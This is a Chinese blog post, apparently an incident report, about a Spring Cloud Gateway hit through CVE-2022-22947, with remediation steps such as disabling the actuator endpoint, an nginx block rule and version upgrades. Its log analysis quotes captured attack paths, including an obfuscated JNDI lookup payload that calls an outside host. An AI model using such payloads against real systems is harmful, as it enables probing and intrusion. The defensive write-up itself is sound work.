gateway漏洞(CVE-2022-22947)

一、线上异常

描述:

早上被电话吵醒,线上环境出现Bug,很多接口请求都失败了,绕开网关请求各个微服务都是正常的,经过网关就异常了,观察到页面上接口路径都被莫名其妙的改了,去看日志发现网关出现了 Cannot fetch registry from server reactor.core.Exceptions$ErrorCallbackNotImplemented: java.lang.IndexOutOfBoundsException: Index: 0, Size: 0 。

二、处理

①快速保存k8s日志、pod日志、pod容器到备份文件夹下,保留现场

②赶紧重启网关工作负载

三、分析

分析nginx、网关日志,收集到几个异常路径信息,看来是被搞了

|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| /management/gateway/routes/hacktest /management/gateway/Opd /management/VU /management/gateway/OPd?%B2%E9%BF%B4=%7b:-y%7d%7b%7b6pr:-j%7dnd%7benv:fm4:-%7di:d%7bxyf::-n%7ds://log4sports.sztyzx.1729020766114.aotX.null/a%7d /management/VU?%B2%E9%BF%B4=%7b:-y%7d%7b%7b6pr:-j%7dnd%7benv:fm4:-%7di:d%7bxyf::-n%7ds://log4sports.sztyzx.1729020770655.bCwj.null/a%7d |

表明在尝试访问一个空的列表时发生了越界异常。这通常发生在尝试获取路由定义中的谓词(predicates)时,但该列表为空。

以下是一些可能的解决方案:

  1. 检查路由配置:确保您的Spring Cloud Gateway路由配置中的predicates部分没有遗漏。每个路由定义都需要至少一个谓词。如果您的配置文件中有任何路由缺少谓词,这可能是导致问题的原因。
  2. 动态路由问题:如果您使用的是动态路由(例如,通过Actuator端点动态添加或删除路由),确保这些路由正确配置了谓词。如果动态添加的路由没有正确的谓词,也可能导致这个错误。
  3. 升级Spring Cloud Gateway:如果您使用的是较旧版本的Spring Cloud Gateway,可能存在已知的漏洞或错误。考虑升级到最新的安全版本,例如3.1.x或3.0.x的最新补丁版本。
  4. 异常处理:在Reactor中,当发生异常时,可以通过在subscribe方法中指定onError处理程序来处理异常。这样可以避免ErrorCallbackNotImplemented异常。
  5. Nginx配置:作为一种临时解决方案,您可以通过Nginx配置来拦截可能导致问题的路径。例如,可以在Nginx配置文件中添加以下内容来返回404错误,从而避免请求到达后端服务:

|--------------------------------------------------|
| location /(actuator|management) { return 403; } |

然后重新加载Nginx配置。

  1. 日志过滤:如果某些错误日志不是您当前关注的重点,可以通过日志过滤来减少这些日志的干扰。例如,使用Logback时,可以配置EvaluatorFilter来过滤掉包含特定文本的消息。

四、后续解决

①在不影响现有业务下

|-------------------------------------------|
| management.endpoint.gateway.enabled=false |

②Nginx那个配置会影响到现有业务,方案否决

②后续升级gateway网关,检查升级后框架依赖、业务底代码是否有问题

|----------------------------------------------------------------------------------------|
| spring-cloud-gateway-core && spring-boot-starter-gateway升级到 3.1.1+ 版本, 3.0.7+ 版本可以解决 |

相关推荐
CodeMartain7 小时前
Dify Windows 原生部署(无 Docker、纯本地)
运维·docker·容器
牛奶咖啡138 小时前
k8s容器编排技术实践——使用containerd作为容器运行时部署k8s集群
kubernetes·k8s的安装部署·开启系统的ipvs支持·安装containerd·containerd配置加速器·安装k8s的工具·安装calico网络插件
llrraa20108 小时前
配置docker国内镜像源
运维·docker·容器
2301_780789669 小时前
手游遇到攻击为什么要用SDK游戏盾手游遇到攻击为什么要用 SDK 游戏盾?
安全·web安全·游戏·架构·kubernetes·ddos
华为云开发者联盟10 小时前
告别繁琐操作,华为云码道 + Docker重塑远程开发体验
人工智能·学习·docker·华为云·软件开发·华为云码道
m_1368710 小时前
Docker Desktop WSL2 启动失败:ext4.vhdx 拒绝访问(E_ACCESSDENIED)完整解决方案
docker
珂玥c10 小时前
k8s集群ingress碎碎念
云原生·容器·kubernetes
佳杰云星11 小时前
如何给大模型集群选“大脑”?智算调度与管理平台 10 维选型指南(附选型评分表)
人工智能·kubernetes·大模型·云计算·gpu·算力调度·智算中心
米高梅狮子12 小时前
Ceph 分布式存储 部署
linux·运维·数据库·分布式·ceph·docker·华为云
比特森林探险记12 小时前
context 在 gRPC / Gin / K8s 中的实战
容器·kubernetes·gin